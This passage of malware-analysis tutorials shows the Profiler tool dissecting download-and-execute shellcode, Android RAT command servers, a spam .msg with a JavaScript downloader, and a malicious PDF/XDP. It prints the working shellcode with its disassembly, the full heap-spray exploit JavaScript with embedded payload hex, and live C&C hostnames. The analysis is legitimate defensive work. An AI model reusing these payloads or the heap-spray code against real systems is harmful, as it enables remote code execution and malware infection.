        if bsize > size then bsize = size end
        local block = c:read(offset, bsize)
        local boffs = 0
        while boffs < bsize do
            local e = block:readU8(boffs)
            local f = block:readU8(boffs + 1)
            block:writeU8(boffs, f)
            block:writeU8(boffs + 1, e)
            boffs = boffs + 2
        end
        c:write(offset, block)
        offset = offset + bsize
        size = size - bsize
    end
    return Base.FilterErr_None
end

If you want to avoid this part, you can simply import the filters I created:

<flts><f name='misc/replace' in='5c75' out=''/><f name='convert/from_hex'/><f name='lua/custom' script='ZnVuY3Rpb24gcnVuKGZpbHRlcikKICAgIGxvY2FsIGMgPSBmaWx0ZXI6Y29udGFpbmVyKCkKICAgIGxvY2FsIHNpemUgPSBjOnNpemUoKQogICAgbG9jYWwgb2Zmc2V0ID0gMAogICAgbG9jYWwgYnNpemUgPSAxNjM4NAogICAgd2hpbGUgc2l6ZSB+PSAwIGRvCiAgICAgICAgaWYgYnNpemUgPiBzaXplIHRoZW4gYnNpemUgPSBzaXplIGVuZAogICAgICAgIGxvY2FsIGJsb2NrID0gYzpyZWFkKG9mZnNldCwgYnNpemUpCiAgICAgICAgbG9jYWwgYm9mZnMgPSAwCiAgICAgICAgd2hpbGUgYm9mZnMgPCBic2l6ZSBkbwogICAgICAgICAgICBsb2NhbCBlID0gYmxvY2s6cmVhZFU4KGJvZmZzKQogICAgICAgICAgICBsb2NhbCBmID0gYmxvY2s6cmVhZFU4KGJvZmZzICsgMSkKICAgICAgICAgICAgYmxvY2s6d3JpdGVVOChib2ZmcywgZikKICAgICAgICAgICAgYmxvY2s6d3JpdGVVOChib2ZmcyArIDEsIGUpCiAgICAgICAgICAgIGJvZmZzID0gYm9mZnMgKyAyCiAgICAgICAgZW5kCiAgICAgICAgYzp3cml0ZShvZmZzZXQsIGJsb2NrKQogICAgICAgIG9mZnNldCA9IG9mZnNldCArIGJzaXplCiAgICAgICAgc2l6ZSA9IHNpemUgLSBic2l6ZQogICAgZW5kCiAgICByZXR1cm4gQmFzZS5GaWx0ZXJFcnJfTm9uZQplbmQ='/></flts>

By opening the embedded shellcode file, Profiler will have automatically detected the shellcode:

By looking at the hex-view we can already guess where the shellcode is going to download its payload to execute from:

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

00000000  90 90 90 90 90 90 90 90   90 90 90 90 90 90 90 90     ................
00000010  90 90 90 90 90 90 90 90   90 90 90 90 90 90 90 90     ................
00000020  EB 77 31 C9 64 8B 71 30   8B 76 0C 8B 76 1C 8B 5E     .w1.d.q0.v..v..^
00000030  08 8B 7E 20 8B 36 66 39   4F 18 75 F2 C3 60 8B 6C     ..~..6f9O.u..`.l
00000040  24 24 8B 45 3C 8B 54 05   78 01 EA 8B 4A 18 8B 5A     $$.E<.T.x...J..Z
00000050  20 01 EB E3 34 49 8B 34   8B 01 EE 31 FF 31 C0 FC     ....4I.4...1.1..
00000060  AC 84 C0 74 07 C1 CF 0D   01 C7 EB F4 3B 7C 24 28     ...t........;|$(
00000070  75 E1 8B 5A 24 01 EB 66   8B 0C 4B 8B 5A 1C 01 EB     u..Z$..f..K.Z...
00000080  8B 04 8B 01 E8 89 44 24   1C 61 C3 E8 92 FF FF FF     ......D$.a......
00000090  5F 81 EF 98 FF FF FF EB   05 E8 ED FF FF FF 68 8E     _.............h.
000000A0  4E 0E EC 53 E8 94 FF FF   FF 31 C9 66 B9 6F 6E 51     N..S.....1.f.onQ
000000B0  68 75 72 6C 6D 54 FF D0   68 36 1A 2F 70 50 E8 7A     hurlmT..h6./pP.z
000000C0  FF FF FF 31 C9 51 51 8D   37 81 C6 EE FF FF FF 8D     ...1.QQ.7.......
000000D0  56 0C 52 57 51 FF D0 68   98 FE 8A 0E 53 E8 5B FF     V.RWQ..h....S.[.
000000E0  FF FF 41 51 56 FF D0 68   7E D8 E2 73 53 E8 4B FF     ..AQV..h~..sS.K.
000000F0  FF FF FF D0 63 6D 64 2E   65 78 65 20 2F 63 20 20     ....cmd.exe./c..
00000100  61 2E 65 78 65 00 68 74   74 70 3A 2F 2F 67 65 2E     a.exe.http://ge.
00000110  74 74 2F 32 72 34 53 66   39 63 32 00 90 90 90 90     tt/2r4Sf9c2.....
00000120  90 90 90 90 90 90                                     ......          

But let's analyze it anyway. Let's press Ctrl+A and then Ctrl+R. Let's execute the action "Debug->Shellcode to executable" to debug the shellcode with a debugger like OllyDbg.

Here's the (very simple) analysis:

; Platform: x86

0000001C:  nop 
0000001D:  nop 
0000001E:  nop 
0000001F:  nop 
00000020:  jmp 0x99

; Kernel32 from PEB function
00000022:  xor ecx, ecx
00000024:  mov esi, dword ptr fs:[ecx + 0x30]
00000028:  mov esi, dword ptr [esi + 0xc]
0000002B:  mov esi, dword ptr [esi + 0x1c]
0000002E:  mov ebx, dword ptr [esi + 8]
00000031:  mov edi, dword ptr [esi + 0x20]
00000034:  mov esi, dword ptr [esi]
00000036:  cmp word ptr [edi + 0x18], cx
0000003A:  jne 0x2e
0000003C:  ret 

; GetProcAddress function
0000003D:  pushal 
0000003E:  mov ebp, dword ptr [esp + 0x24]
00000042:  mov eax, dword ptr [ebp + 0x3c]
00000045:  mov edx, dword ptr [ebp + eax + 0x78]
00000049:  add edx, ebp
0000004B:  mov ecx, dword ptr [edx + 0x18]
0000004E:  mov ebx, dword ptr [edx + 0x20]
00000051:  add ebx, ebp
00000053:  jecxz 0x89
00000055:  dec ecx
00000056:  mov esi, dword ptr [ebx + ecx*4]
00000059:  add esi, ebp
0000005B:  xor edi, edi
0000005D:  xor eax, eax
0000005F:  cld 
00000060:  lodsb al, byte ptr [esi]
00000061:  test al, al
00000063:  je 0x6c
00000065:  ror edi, 0xd
00000068:  add edi, eax
0000006A:  jmp 0x60
0000006C:  cmp edi, dword ptr [esp + 0x28]
00000070:  jne 0x53
00000072:  mov ebx, dword ptr [edx + 0x24]
00000075:  add ebx, ebp
00000077:  mov cx, word ptr [ebx + ecx*2]
0000007B:  mov ebx, dword ptr [edx + 0x1c]
0000007E:  add ebx, ebp
00000080:  mov eax, dword ptr [ebx + ecx*4]
00000083:  add eax, ebp
00000085:  mov dword ptr [esp + 0x1c], eax
00000089:  popal 
0000008A:  ret 

; find Kernel32 from PEB
0000008B:  call 0x22

; make edi point do the data part
00000090:  pop edi
00000091:  sub edi, 0xffffff98 
00000097:  jmp 0x9e

00000099:  call 0x8b

; resolve LoadLibraryA
0000009E:  push 0xec0e4e8e
000000A3:  push ebx
000000A4:  call 0x3d

; load urlmon
000000A9:  xor ecx, ecx
000000AB:  mov cx, 0x6e6f
000000AF:  push ecx
000000B0:  push 0x6d6c7275
000000B5:  push esp
000000B6:  call eax

; resolve URLDownloadToFileA
000000B8:  push 0x702f1a36
000000BD:  push eax
000000BE:  call 0x3d

; download file from "hxxp://ge.tt/2r4Sf9c2" and save it as "a.exe"
000000C3:  xor ecx, ecx
000000C5:  push ecx
000000C6:  push ecx
000000C7:  lea esi, dword ptr [edi]
000000C9:  add esi, 0xffffffee
000000CF:  lea edx, dword ptr [esi + 0xc]
000000D2:  push edx
000000D3:  push edi
000000D4:  push ecx
000000D5:  call eax

; resolve WinExec
000000D7:  push 0xe8afe98
000000DC:  push ebx
000000DD:  call 0x3d

; call WinExec on "a.exe"
000000E2:  inc ecx
000000E3:  push ecx
000000E4:  push esi
000000E5:  call eax

; resolve ExitProcess
000000E7:  push 0x73e2d87e
000000EC:  push ebx
000000ED:  call 0x3d

; call ExitProcess
000000F2:  call eax

You can also download the Profiler project with the complete analysis already performed (same password: infected29A). Please notice, you'll be prompted twice for the password: once for the project and once for the Zip archive.

I hope you enjoyed the read!

Extracting C&C from Android Malware

Even though AndroRat (http://www.symantec.com/connect/blogs/remote-access-tool-takes-aim-android-apk-binder) had been around for eons and the source code was made available (https://github.com/DesignativeDave/androrat) but there are many new ones popping out everyday.

Today I will go through with you on how we can make Profiler work extra hard for us.  I will try to fill in required information about where to look out for information and how decode some of the information.

[ 1st Sample used in the analysis ]

MD5: 8BF31084E55D3A83FE6C382986F95C1C
SHA256: DC9A0322CA263D733F91182F1E655A11CBA28DC766031CE0665B6005900450D7

[ Part 1 : Getting Started ]

For those who want to follow along, this is a link to the .apk file. Do note, this is a MALICIOUS file, so please do the analysis in a “safe” environment. The password to the attachment is “infected29A

Now, let’s start getting our hands dirty…and open the suspicious .apk file.  Firstly, we are going to go through the source code and find out what is the important information that we can extract out.

One of the things that malware analyst are interested in is the “Command & Control” of the malware.

As the source code of the malware was made public, we can see where the IP address for the C&C is stored in my/app/client/ProcessCommand.java as shown in the image below.

As Profiler provides SDK for us to analyse DEX and extract relevant Dalvik code, we will be making use of that today by creating “Actions”.  In order to make an action out of it, go to “Extensions” in the main window, then select the Actions tab and click on “Open user plugin directory” as shown below.

[ Scripting the C&C Extraction ]

Create the following file, “androrat.py” in there.  The code for “androrat.py” is shown below:

from Pro.Core import *
from Pro.DEX import *
import re, binascii, base64

def AndroRatExtraction():
    obj = proCoreContext().currentScanProvider().getObject()
    if obj.GetObjectFormatName() != "DEX":
      return -1
    cc = obj.Classes().Count()
    for i in range(cc):
        if "Lmy/app/client/ProcessCommand;" in obj.ClassIndexToString(i, False):
            cd = ClassData()
            if obj.GetClassData(i, cd):
                it = cd.direct_methods.iterator()
                while it.hasNext():
                    md = it.next()
                    out = NTTextBuffer()
                    obj.Disassemble(out, i)
                    m = re.findall("const-string\s+[a-zA-Z0-9,]+\s+[\"](.*?)[\"]", out.buffer)
                    m1 = re.findall("const/16\s+[a-zA-Z0-9,]+\s+.int\s(.*?)\s//", out.buffer)
                    c2 = m[16]
                    port = m1[1]
                    server = "C&C: {0}:{1}".format(c2, str(port))
                    print(server)
                    break

Next, click on “Open user configuration file” and paste the following:

[AndroRatExtraction]
category = DEX
label = AndroRat extraction
file = androrat.py
context = any

Save the file, close it. Then click on “Refresh extensions“. You should already see your action among the list.

Now, if you open the .apk file, “double-click” on “classes.dex” and then press “Ctrl+R” you should see your action under the DEX category at the top.

As we can see from the image below after executing the action, you will get the C&C address and port number at the “output” tab as shown below.

The C&C is “http://shoppingapp[.]no-ip[.]biz” and the port number is “81”.

The purpose of this post is to give a better technical understanding of how easy it is to script in Profiler and how malware analysts can easily retrieve important information using static analysis.

The SDK in Profiler gives users the possibility to inspect the code in Dalvik and to extract other important information.

Just by looking at code snippet we showed you, it’s extremely easy for everyone to expand on it and write new utilities.

[ 2nd Sample used in the analysis ]

MD5: 30C385C2928408126F7553134585286E
SHA256: 9E1BEE43A501132DA732D1287126632438B91A9FCBF37AFDA7B8597055960877

The 2nd sample that we will be looking at is OmniRat. The detection rate for OmniRat is just moderate, 20/54 in VT.

The actual piece of malicious code is actually Base64 encoded and hidden away in the resources.asrc file as you can see in the image below

From the image below, we could extract the APK and even inspect it on the fly.
So select the the Base64 encoded string in the resources.asrc file and then press Ctrl+E and click on the filters button on the bottom right.

Now let’s add in 2 filters:
1.) basic/replace in Bytes mode (in: 00 out:) to remove all null bytes
2.) then from_base64 filter.

Now let’s just give it embedded.apk as the filename and add the file as embedded and inspect it.

We can re-apply what we did with the 1st sample using the script which I’ve attached here.

from Pro.Core import *
from Pro.DEX import *
import re, binascii, base64

def OmniRatExtraction():
    obj = proCoreContext().currentScanProvider().getObject()
    if obj.GetObjectFormatName() != "DEX":
      return -1
    cc = obj.Classes().Count()
    for i in range(cc):
        if "Lcom/android/engine/MyService;" in obj.ClassIndexToString(i, False):
            cd = ClassData()
            if obj.GetClassData(i, cd):
                it = cd.direct_methods.iterator()
                while it.hasNext():
                    md = it.next()
                    out = NTTextBuffer()
                    obj.Disassemble(out, i)
                    m = re.findall("const-string\s+[a-zA-Z0-9,]+\s+[\"](.*?)[\"]", out.buffer)
                    m1 = re.findall("const/16\s+[a-zA-Z0-9,]+\s+.int\s(.*?)\s//", out.buffer)
                    c2 = m[0]
                    port = m1[0]
                    server = "C&C: {0}:{1}".format(c2, str(port))
                    print(server)
                    break

As shown in the image below, the C&C is “strippermona2[.]no-ip[.]info:200”.

We hope you enjoyed reading this and would be happy to receive your feedback!

Malware in a MSG

Even though sending malware via zipped attachments in spam emails is nothing new and had been around for eons but many people are still puzzled at how it works. Thus, I will go through with you on how to do it with Profiler. I will try to fill in required information about where to look out for information and how decode some of the information.

Firstly, we are going to learn how are a bit about the .msg file format and how is it used to store a message object in a .msg file, which then can be shared between clients or message stores that use the file system.

From an investigator’s point of view, you should always analyze the .msg file without installing Outlook. In order to analyze the .msg file without Outlook, we can read more about the file format from:

  • http://download.microsoft.com/download/5/D/D/5DD33FDF-91F5-496D-9884-0A0B0EE698BB/[MS-OXMSG].pdf
  • https://msdn.microsoft.com/en-us/library/cc463912(v=exchg.80).aspx
  • http://www.fileformat.info/format/outlookmsg/

The purpose of this post is to give a better technical understanding of how attackers makes use spam emails to spread malware.

[ Sample used in the analysis ]
MD5: BC1DF9947B9CF27B2A826E3B68C897B4
SHA256: C7AC39F8240268099EC49A3A4FF76174A50F1906BBB40AE6F88425AF303A44BB
Sample: Sample

[ Part 1 : Getting Started ]
For those who want to follow along, this is a link to the .msg file. Do note, this is a MALICIOUS file, so please do the analysis in a “safe” environment. The password to the attachment is “infected29A

Now, let’s start getting our hands dirty…and open the suspicious .msg file.

The msg file is already flagged by Profiler, as it contains some suspicious features.
Each “__substg” contains valuable pieces of information. The first four of the eight digits at the end tells you what kind of information it is (Property). The last four digits tells you the type (binary, ascii, Unicode, etc)

  • 0x007d: Message header
  • 0x0C1A: Sender name
  • 0x0C1F: Sender email
  • 0x0E1D: Subject (normalized)
  • 0x1000: Message body

[ Part 2 : Email investigation ]
If we are interested in email investigation, let’s check out the following file, “__substg1.0_0C1F001F”.

As we can see below, the sender’s email address is “QuinnMuriel64997@haarboutique-np.nl
But is it really sent from Netherlands?

Well, let’s check out the message header located in “__substg1.0_007D001F” to verify that.

If we were to do through the message header, do a whois on “haarboutique-np.nl” and check out the MX server. We can confirm that the sender is spoofing email as well.

From the message header, we can conclude that the sender sent the email from “115.78.135.85” as shown in the image and the extracted message header as shown below.

    Received: from [115.78.135.85] ([115.78.135.85])
    by mta02.dkim.jp (8.14.4/8.13.8) with ESMTP id u44L8X41032666
    for <info@dkim.jp>; Thu, 5 May 2016 06:08:35 +0900

Whois information showed that IP address where this spam email is sent from is from Vietnam.
But it doesn’t mean that the attacker is from Vietnam. Anyone in the world can buy web hosting services in Vietnam. This is just to let you know that the attacker is definitely not sending from “haarboutique-np.nl

[ Part 3 : Email investigation ]
Using this information opening the “__substg1.0_0E1D001F” file and we can see the subject, “Re:

Hmmmm…this doesn’t look any useful at all. Let’s try opening the file, “__substg1.0_1000001F”, containing the “subject body” instead.

      “Hi, info

Please find attached document you requested. The attached file is your account balance and transactions history.

Regards,
Muriel Quinn”

Awesome, Muriel Quinn is sending me my account balance and transactions history which I may or may not have requested at all. Awesome, he is also attaching the files to the email just for me. This is definitely suspicious to me.

[ Part 4 : Email attachment ]
Now that we are interested in the attachments, let’s look at “Root Entry/__attach_version1.0_#00000000” and refer to the specifications again.

  • //Attachments (37xx):
  • 0x3701: Attachment data
  • 0x3703: Attach extension
  • 0x3704: Attach filename
  • 0x3707: Attach long filenm
  • 0x370E: Attach mime tag

If we were to look at “__substg1.0_3704001F”, we will see that the filename of the attachment is called “transa~1.zip” and the display name “__substg1.0_3001001F” of the attachment is called “transactions-625.zip”.

Now let’s look at the actual data located within “__substg1.0_37010102” as shown below.

Now, let’s press “Ctrl+A” to select the entire contents. Then copy it into a new file as shown in the image below.

But as we can see on the left, Profiler can identify what is inside the attachment. There are 3 Javascript files inside the .zip file.

Now let’s fire up “New Text View” and copy the contents of “transactions 774219.js” as shown below.

Press “Ctrl+R” and select “Beautify JavaScript” and Profiler will “JSBeautify” it for you. But let’s add some “Colouring” to it by doing “Right-click -> Language -> JavaScript” as shown below.

We can use Profiler to debug the JavaScript but I shall leave that as an exercise for the readers.
The decoded JavaScript will look something like this.

As we can see from the image above, it is downloading from “http://infograffo[.]com[.]br/lkdd9ikfds” and saving it as “ew3FbUdAB.exe” in the victims’ TEMP directory.

We won’t be going through on reversing the malware.

In the meantime, we hope you enjoyed reading this and would be happy to receive your feedback!

PDF/XDP Malware Reversing

Recently version 2.6 of Profiler has been released and among the improvements support for XDP has been introduced. For those of you who are unfamiliar with XPD, here’s the Wikipedia description:

“XML Data Package (XDP) is an XML file format created by Adobe Systems in 2003. It is intended to be an XML-based companion to PDF. It allows PDF content and/or Adobe XML Forms Architecture (XFA) resources to be packaged within an XML container.

XDP is XML 1.0 compliant. The XDP may be a standalone document or it may in turn be carried inside a PDF document.

XDP provides a mechanism for packaging form components within a surrounding XML container. An XDP can also package a PDF file, along with XML form and template data. When the XFA (XML Forms Architecture) grammars used for an XFA form are moved from one application to another, they must be packaged as an XML Data Package.”

So I’ll use the occasion to show the reversing of a nice PDF with all the goodies. Let’s open the suspicious PDF.

The PDF is already heavily flagged by Profiler, as it contains many suspicious features.

If we take a look, just out of curiosity, at the object 8 of the PDF we will notice that the XDP data contains a bogus endstream keyword to fool the parsers of security solutions.

Profiler handles this correctly, so we don’t have to do anything, just worth mentioning.

Let’s take a look at the raw XDP data.

As you can see, it is completely unreadable because of the XML escaped characters. Even this is not really important for us, since the XML parser of Profiler handles this automatically, again just worth mentioning.

So let’s open directly the embedded XDP child and we can see a readable and nicely indented XML.

We can see that the XML contains JavaScript code, but Profiler already warns us of this. So let’s just click on the warning.

The code isn’t readable. So let’s select the JavaScript portion and then press Ctrl+R->Beautify JavaScript.

Much better, isn’t it?

The code is quite easy to understand although it’s obfuscated. It takes a value straight from the XDP, processes it and then calls eval on it.

This is the value it takes:

What we want is the result of the processing, before eval is called. So what I did is to modify slightly the JavaScript code like this:

ar = [HUGE STRING];
ar = ar.split('%%%');
s = Array();
cc = {
    q: "var pding;b,cefhots_x=wAy()l1'420657839u{.VS'<+I}*/DkR%-W[]mCj^?:LBKQYEUqFM"
}.q;
function test3()
{
    if (s) v = ar[z] * 1;
    s = s + cc[v + 24];
}

for (i = 0; i - 3794 < 0; i++)
{
    z = i;
    test3();
}

print(s);

I didn't paste now the entire value in here as it was way too big, but I did so in the code edit:

At this point, we can just press Ctrl+R->Debug/Execute JavaScript and get the result of the execution.

We will get the following code:

var padding;
var bbb, ccc, ddd, eee, fff, ggg, hhh;
var pointers_a, i;
var x = new Array();
var y = new Array();
var _l1 = '4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f0004000041414141414141416683e4fcfc85e47534e95f33c0648b40308b400c8b701c568b760833db668b5e3c0374332c81ee1510ffffb88b4030c346390675fb87342485e47551e9eb4c51568b753c8b74357803f5568b762003f533c94941fcad03c533db0fbe1038f27408c1cb0d03da40ebf13b1f75e65e8b5e2403dd668b0c4b8d46ecff54240c8bd803dd8b048b03c5ab5e59c3eb53ad8b6820807d0c33740396ebf38b68088bf76a0559e898ffffffe2f9e80000000058506a4068ff0000005083c01950558bec8b5e1083c305ffe3686f6e00006875726c6d54ff1683c4088be8e861ffffffeb02eb7281ec040100008d5c240cc7042472656773c744240476723332c7442408202d73205368f8000000ff560c8be833c951c7441d0077706274c7441d052e646c6cc6441d0900598ac1043088441d0441516a006a0053576a00ff561485c075166a0053ff56046a0083eb0c53ff560483c30ceb02eb1347803f0075fa47803f0075c46a006afeff5608e89cfeffff8e4e0eec98fe8a0e896f01bd33ca8a5b1bc64679361a2f70687474703a2f2f3132392e3132312e3233312e3138382f646174612f486f6d652f772e7068703f663d313626653d340000';
var _l2 = '4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f0004000041414141414141416683e4fcfc85e47534e95f33c0648b40308b400c8b701c568b760833db668b5e3c0374332c81ee1510ffffb88b4030c346390675fb87342485e47551e9eb4c51568b753c8b74357803f5568b762003f533c94941fcad03c533db0fbe1038f27408c1cb0d03da40ebf13b1f75e65e8b5e2403dd668b0c4b8d46ecff54240c8bd803dd8b048b03c5ab5e59c3eb53ad8b6820807d0c33740396ebf38b68088bf76a0559e898ffffffe2f9e80000000058506a4068ff0000005083c01950558bec8b5e1083c305ffe3686f6e00006875726c6d54ff1683c4088be8e861ffffffeb02eb7281ec040100008d5c240cc7042472656773c744240476723332c7442408202d73205368f8000000ff560c8be833c951c7441d0077706274c7441d052e646c6cc6441d0900598ac1043088441d0441516a006a0053576a00ff561485c075166a0053ff56046a0083eb0c53ff560483c30ceb02eb1347803f0075fa47803f0075c46a006afeff5608e89cfeffff8e4e0eec98fe8a0e896f01bd33ca8a5b1bc64679361a2f70687474703a2f2f3132392e3132312e3233312e3138382f646174612f486f6d652f772e7068703f663d313626653d340000';
_l3 = app;
_l4 = new Array();

function _l5()
{
    var _l6 = _l3.viewerVersion.toString();
    _l6 = _l6.replace('.', '');
    while (_l6.length < 4) _l6 += '0';
    return parseInt(_l6, 10)
}
function _l7(_l8, _l9)
{
    while (_l8.length * 2 < _l9) _l8 += _l8;
    return _l8.substring(0, _l9 / 2)
}
function _I0(_I1)
{
    _I1 = unescape(_I1);
    roteDak = _I1.length * 2;
    dakRote = unescape('%u9090');
    spray = _l7(dakRote, 0x2000 - roteDak);
    loxWhee = _I1 + spray;
    loxWhee = _l7(loxWhee, 524098);
    for (i = 0; i < 400; i++) _l4[i] = loxWhee.substr(0, loxWhee.length - 1) + dakRote;
}
function _I2(_I1, len)
{
    while (_I1.length < len) _I1 += _I1;
    return _I1.substring(0, len)
}
function _I3(_I1)
{
    ret = '';
    for (i = 0; i < _I1.length; i += 2)
    {
        b = _I1.substr(i, 2);
        c = parseInt(b, 16);
        ret += String.fromCharCode(c);
    }
    return ret
}
function _ji1(_I1, _I4)
{
    _I5 = '';
    for (_I6 = 0; _I6 < _I1.length; _I6++)
    {
        _l9 = _I4.length;
        _I7 = _I1.charCodeAt(_I6);
        _I8 = _I4.charCodeAt(_I6 % _l9);
        _I5 += String.fromCharCode(_I7 ^ _I8);
    }
    return _I5
}
function _I9(_I6)
{
    _j0 = _I6.toString(16);
    _j1 = _j0.length;
    _I5 = (_j1 % 2) ? '0' + _j0 : _j0;
    return _I5
}
function _j2(_I1)
{
    _I5 = '';
    for (_I6 = 0; _I6 < _I1.length; _I6 += 2)
    {
        _I5 += '%u';
        _I5 += _I9(_I1.charCodeAt(_I6 + 1));
        _I5 += _I9(_I1.charCodeAt(_I6))
    }
    return _I5
}
function _j3()
{
    _j4 = _l5();
    if (_j4 < 9000)
    {
        _j5 = 'o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';
        _j6 = _l1;
        _j7 = _I3(_j6)
    }
    else
    {
        _j5 = 'kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';
        _j6 = _l2;
        _j7 = _I3(_j6)
    }
    _j8 = 'SUkqADggAABB';
    _j9 = _I2('QUFB', 10984);
    _ll0 = 'QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';
    _ll1 = _j8 + _j9 + _ll0 + _j5;
    _ll2 = _ji1(_j7, '');
    if (_ll2.length % 2) _ll2 += unescape('%00');
    _ll3 = _j2(_ll2);
    with(
    {
        k: _ll3
    }) _I0(k);
    qwe123b.rawValue = _ll1
}
_j3();

What it does is basically to spray the heap using an array. It changes the payload based on the version of Adobe Reader. The version is retrieved by calling the _l5 function.

Now we could just examine the _l1 or _l2 payloads directly, but just to make sure I let the code generate a spray portion. So I changed the code accordingly and avoided to actually spray a lot of data.

var padding;
var bbb, ccc, ddd, eee, fff, ggg, hhh;
var pointers_a, i;
var x = new Array();
var y = new Array();
var _l1 = '4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f0004000041414141414141416683e4fcfc85e47534e95f33c0648b40308b400c8b701c568b760833db668b5e3c0374332c81ee1510ffffb88b4030c346390675fb87342485e47551e9eb4c51568b753c8b74357803f5568b762003f533c94941fcad03c533db0fbe1038f27408c1cb0d03da40ebf13b1f75e65e8b5e2403dd668b0c4b8d46ecff54240c8bd803dd8b048b03c5ab5e59c3eb53ad8b6820807d0c33740396ebf38b68088bf76a0559e898ffffffe2f9e80000000058506a4068ff0000005083c01950558bec8b5e1083c305ffe3686f6e00006875726c6d54ff1683c4088be8e861ffffffeb02eb7281ec040100008d5c240cc7042472656773c744240476723332c7442408202d73205368f8000000ff560c8be833c951c7441d0077706274c7441d052e646c6cc6441d0900598ac1043088441d0441516a006a0053576a00ff561485c075166a0053ff56046a0083eb0c53ff560483c30ceb02eb1347803f0075fa47803f0075c46a006afeff5608e89cfeffff8e4e0eec98fe8a0e896f01bd33ca8a5b1bc64679361a2f70687474703a2f2f3132392e3132312e3233312e3138382f646174612f486f6d652f772e7068703f663d313626653d340000';
var _l2 = '4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f0004000041414141414141416683e4fcfc85e47534e95f33c0648b40308b400c8b701c568b760833db668b5e3c0374332c81ee1510ffffb88b4030c346390675fb87342485e47551e9eb4c51568b753c8b74357803f5568b762003f533c94941fcad03c533db0fbe1038f27408c1cb0d03da40ebf13b1f75e65e8b5e2403dd668b0c4b8d46ecff54240c8bd803dd8b048b03c5ab5e59c3eb53ad8b6820807d0c33740396ebf38b68088bf76a0559e898ffffffe2f9e80000000058506a4068ff0000005083c01950558bec8b5e1083c305ffe3686f6e00006875726c6d54ff1683c4088be8e861ffffffeb02eb7281ec040100008d5c240cc7042472656773c744240476723332c7442408202d73205368f8000000ff560c8be833c951c7441d0077706274c7441d052e646c6cc6441d0900598ac1043088441d0441516a006a0053576a00ff561485c075166a0053ff56046a0083eb0c53ff560483c30ceb02eb1347803f0075fa47803f0075c46a006afeff5608e89cfeffff8e4e0eec98fe8a0e896f01bd33ca8a5b1bc64679361a2f70687474703a2f2f3132392e3132312e3233312e3138382f646174612f486f6d652f772e7068703f663d313626653d340000';
_l3 = this;
_l4 = new Array();

/*function _l5()
{
    var _l6 = _l3.viewerVersion.toString();
    _l6 = _l6.replace('.', '');
    while (_l6.length < 4) _l6 += '0';
    return parseInt(_l6, 10)
}*/
function _l7(_l8, _l9)
{
    while (_l8.length * 2 < _l9) _l8 += _l8;
    return _l8.substring(0, _l9 / 2)
}
function _I0(_I1)
{
    _I1 = unescape(_I1);
    roteDak = _I1.length * 2;
    dakRote = unescape('%u9090');
    spray = _l7(dakRote, 0x2000 - roteDak);
    loxWhee = _I1 + spray;
    loxWhee = _l7(loxWhee, 0x2000);
    for (i = 0; i < 1; i++) _l4[i] = loxWhee.substr(0, loxWhee.length - 1) + dakRote;
}
function _I2(_I1, len)
{
    while (_I1.length < len) _I1 += _I1;
    return _I1.substring(0, len)
}
function _I3(_I1)
{
    ret = '';
    for (i = 0; i < _I1.length; i += 2)
    {
        b = _I1.substr(i, 2);
        c = parseInt(b, 16);
        ret += String.fromCharCode(c);
    }
    return ret
}
function _ji1(_I1, _I4)
{
    _I5 = '';
    for (_I6 = 0; _I6 < _I1.length; _I6++)
    {
        _l9 = _I4.length;
        _I7 = _I1.charCodeAt(_I6);
        _I8 = _I4.charCodeAt(_I6 % _l9);
        _I5 += String.fromCharCode(_I7 ^ _I8);
    }
    return _I5
}
function _I9(_I6)
{
    _j0 = _I6.toString(16);
    _j1 = _j0.length;
    _I5 = (_j1 % 2) ? '0' + _j0 : _j0;
    return _I5
}
function _j2(_I1)
{
    _I5 = '';
    for (_I6 = 0; _I6 < _I1.length; _I6 += 2)
    {
        _I5 += '%u';
        _I5 += _I9(_I1.charCodeAt(_I6 + 1));
        _I5 += _I9(_I1.charCodeAt(_I6))
    }
    return _I5
}
function asciiToHex(str)
{
    var arr = [];
    for (var n = 0, l = str.length; n < l; n ++) 
    {
        var ch = str.charCodeAt(n);
        var hex = Number(ch & 0xFF).toString(16);
        if (hex.length < 2) hex = "0" + hex;
        arr.push(hex);
        hex = Number(ch >>> 8).toString(16);
        while (hex.length < 2) hex = "0" + hex;
        arr.push(hex);
    }
    return arr.join('');
}
function _j3()
{
    _j4 = 9000;
    if (_j4 < 9000)
    {
        _j5 = 'o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';
        _j6 = _l1;
        _j7 = _I3(_j6)
    }
    else
    {
        _j5 = 'kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';
        _j6 = _l2;
        _j7 = _I3(_j6)
    }
    _j8 = 'SUkqADggAABB';
    _j9 = _I2('QUFB', 10984);
    _ll0 = 'QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';
    _ll1 = _j8 + _j9 + _ll0 + _j5;
    _ll2 = _ji1(_j7, '');
    if (_ll2.length % 2) _ll2 += unescape('%00');
    _ll3 = _j2(_ll2);
    with(
    {
        k: _ll3
    }) _I0(k);
    print(asciiToHex(_l4[0]));
}
_j3();

We can run this script in the JavaScript debugger (Ctrl+R->Debug JavaScript).

The final print will give us the payload in memory. We can copy the just the initial part, avoiding the padding. Let's paste the string into a text editor in Profiler and then Ctrl+R->Hex string to bytes.

If we look at the payload, we can see that the beginning (the marked portion) looks like ROP code. So in order to avoid looking for the gadgets in memory, let's skip the ROP as it most likely is only going to jump to the actual shellcode. Let's assume that is the case and thus focus on the data which follows.

